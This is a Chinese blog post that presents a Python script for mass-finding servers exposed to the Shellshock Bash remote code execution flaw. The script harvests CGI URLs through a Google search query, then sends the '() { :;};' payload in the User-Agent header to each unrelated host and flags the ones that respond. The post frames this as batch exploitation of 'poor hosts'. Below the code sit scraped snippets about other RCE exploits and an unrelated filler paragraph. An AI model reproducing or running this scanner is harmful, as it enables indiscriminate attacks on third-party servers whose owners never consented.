Bash远程代码执行漏洞批量利用脚本

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多,但是影响范围不是很广泛,不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。

其中最最简单的方法就是使用搜索引擎的hacking技术,这里我使用的Google Hacking语法结合Google API来进行链接的抓取。只不过在国内的话。。。。需要加代理。

程序中的代理是我本地的goagent代理,端口是8087。如何检测漏洞思路也很简单,我这里直接根据服务器返回码进行判断的。

思路就是以上这些,下面还是和往常一样,贴代码:

#coding=utf-8
import requests
import json
import sys
import threading

class GoogleURLProvider():
	def __init__(self,pageCount,proxies):
		self.pageCount = pageCount #查询的页数
		self.keywords = r'inurl:cgi-bin filetype:sh'
		self.apiurl = "https://ajax.googleapis.com/ajax/services/search/web"
		self.proxies = proxies

	def getRequest(self,url):
		return requests.get(url,proxies=self.proxies,verify=False)

	def getUrls(self):
		ret_list = []
		tmp_list = []
		for x in xrange(0,self.pageCount):
			url = "{apiurl}?v=1.0&q={keywords}&rsz=8&start={pageCount}".format(apiurl=self.apiurl,keywords=self.keywords,pageCount=x)
			try:
				r = self.getRequest(url)
				results = json.loads(r.text)
				if not results:
					continue
				infos = results['responseData']['results']
				if infos:
					for i in infos:
						tmp_list.append(i['url'])
			except Exception, e:
				continue
		ret_list = ret_list + tmp_list
		return ret_list

class BashRCEDetector():
	def __init__(self,urls):
		self.urls = urls
	def detector(self):
		vul_res = []
		useragent_header = {
			'User-Agent':"() { :;}; echo -e 'detector'"
		}
		for x in self.urls:
			try:
				r = requests.get(x,headers = useragent_header,timeout=1)
				if r.status_code == 500:
					print "{url} has Bash RCE vulnerability".format(url=x)
					vul_res.append(x)
				else:
					pass
			except Exception, e:
				continue
		return vul_res

if __name__ == '__main__':
	print 'Powered by:Exploit QQ:739858341'
	print 'This is a program which you can use to scan the BashRCE vulnerability\nScanner working,please wait....'
	if len(sys.argv) != 2:
		print 'Usage:python BashRCEScanner <google pageCount>'
		sys.exit()
	#goagent proxy
	#在这里修改,加入你自己的代理即可使用
	proxies = {
	'http':"http://127.0.0.1:8087",
	'https':"http://127.0.0.1:8087"
	}
	url_res = []
	vul_guys = []
	urlgetter = GoogleURLProvider(int(sys.argv[1]),proxies)
	url_res = urlgetter.getUrls()

	bash_detector = BashRCEDetector(url_res)
	vul_guys = bash_detector.detector()
	if len(vul_guys) == 0:
		print 'This group have no vulnerability'
	else:
		print 'Find %d poor host(s)' % len(vul_guys) 

运行截图:

时间: 2024-10-25 10:53:04

Bash远程代码执行漏洞批量利用脚本的相关文章

Bash远程代码执行漏洞修复

Bash漏洞 2014年9月25日,继"心脏滴血"之后,这个从澳大利亚远渡重洋而来的bash远程执行漏洞再次让互联网震惊.如果说心脏滴血只能借助窃取用户电脑信息,而bash漏洞允许黑客远程控制电脑,从而拿到系统的最高权限! 漏洞详情页面:http://seclists.org/oss-sec/2014/q3/650 Bash漏洞的原理: BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以"()

Bash远程代码执行漏洞分析

 今日爆出一个Bash的RCE漏洞,威力巨大.看了看老外的分析,觉得有必要写一写自己对这个漏洞的理解. 首先,问题起因于一个命令ENV. 原型: env [OPTION]... [NAME=VALUE]... [COMMAND [ARGS]...] Man是这么说的: Display, set, or remove environment variables,Run a command in a modified environment. 我的理解是使用env命令的key=value,首先会

ElasticSearch Groovy脚本远程代码执行漏洞

什么是ElasticSearch? 它是一种分布式的.实时性的.由JAVA开发的搜索和分析引擎. 2014年,曾经被曝出过一个远程代码执行漏洞(CVE-2014-3120),漏洞出现在脚本查询模块,由于搜索引擎支持使用脚本代码(MVEL),作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行任意命令..."任意"你懂的,比如:利用nc反弹sh

[EXP]CVE-2019-0604微软SharePoint远程代码执行漏洞利用

研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后,才发这现里的字全是都乱的. 剑桥大学的研究结果,当单词的字母顺序颠倒时,你仍旧可以明白整个单词的意思.其中重要的是:只要单词的第一个字母和最后一个子字母位置正确即可.其他的可以是完全的乱码,你仍旧可以清楚的完全没有问题的阅读.原因是因为人脑在认知单词的过程中不是依靠辨识字母的顺序,而是从整体来看.同理,汉字的阅读也会受到大脑先入为主的分析.如果你所看到的句子在大脑中事先有过印象,那么你就能顺利的将它读出.如果句子是大脑之前没有处理过的

Office CVE-2017-8570远程代码执行漏洞复现

实验环境 操作机:Kali Linux IP:172.16.11.2 目标机:windows7 x64 IP:172.16.12.2 实验目的 掌握漏洞的利用方法 实验工具 Metaspliot:它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程,团队合作. 实验内容 Office CVE-2017-8570 CVE-2017-8570漏

LNK文件(快捷方式)远程代码执行漏洞复现过程(CVE-2017-8464)

漏洞编号:CVE-2017-8464 漏洞等级:严重 漏洞概要:如果用户打开攻击者精心构造的恶意LNK文件,则会造成远程代码执行.成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限. 攻击者可以通过可移动驱动器(U盘)或远程共享等方式将包含恶意LNK文件和与之相关的恶意二进制文件传播给用户.当用户通过Windows资源管理器或任何能够解析LNK文件的程序打开恶意的LNK文件时,与之关联的恶意二进制代码将在目标系统上执行. 受影响版本 桌面系统:Windows 10, 7, 8.1, 8, V

Samba远程代码执行漏洞(CVE-2017-7494)复现

简要记录一下Samba远程代码执行漏洞(CVE-2017-7494)环境搭建和利用的过程,献给那些想自己动手搭建环境的朋友.(虽然已过多时) 快捷通道:Docker ~ Samba远程代码执行漏洞(CVE-2017-7494) 演      示:服务器版“永恒之蓝”高危预警 (Samba远程命令执行漏洞CVE-2017-7494) 攻击演示 漏洞描述 影响版本 Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本. 这句话应该这么来理解,该漏洞影响Samba 3.5.0之后的

隐藏17年的Office远程代码执行漏洞(CVE-2017-11882)

Preface 这几天关于Office的一个远程代码执行漏洞很流行,昨天也有朋友发了相关信息,于是想复现一下看看,复现过程也比较简单,主要是简单记录下. 利用脚本Github传送地址 ,后面的参考链接都有成功的比较详细的案例了. 主要是要用到如图中的两个脚本,example文件夹中有个doc,应该直接打开就能弹计算器了. 复现过程 国外最先发布的poc地址:https://github.com/embedi/CVE-2017-11882 这里我们使用的是Ridter师傅改进过的脚本:https:

Microsoft Windows Messenger ActiveX控件远程代码执行漏洞(MS11-027)

漏洞描述 此次扫描检测到目标主机尚未安装MS11-027/KB2508272漏洞相应的HotFix,也未安装可以修正该漏洞的Service Pack,这意味着目标主机可能存在MS11-027/KB2508272漏洞. Microsoft Windows是微软发布的非常流行的操作系统. Microsoft Windows Messenger ActiveX控件在实现上存在远程代码执行漏洞,远程攻击者可利用此漏洞在使用ActiveX应用程序中执行任意脚本代码. Microsoft Internet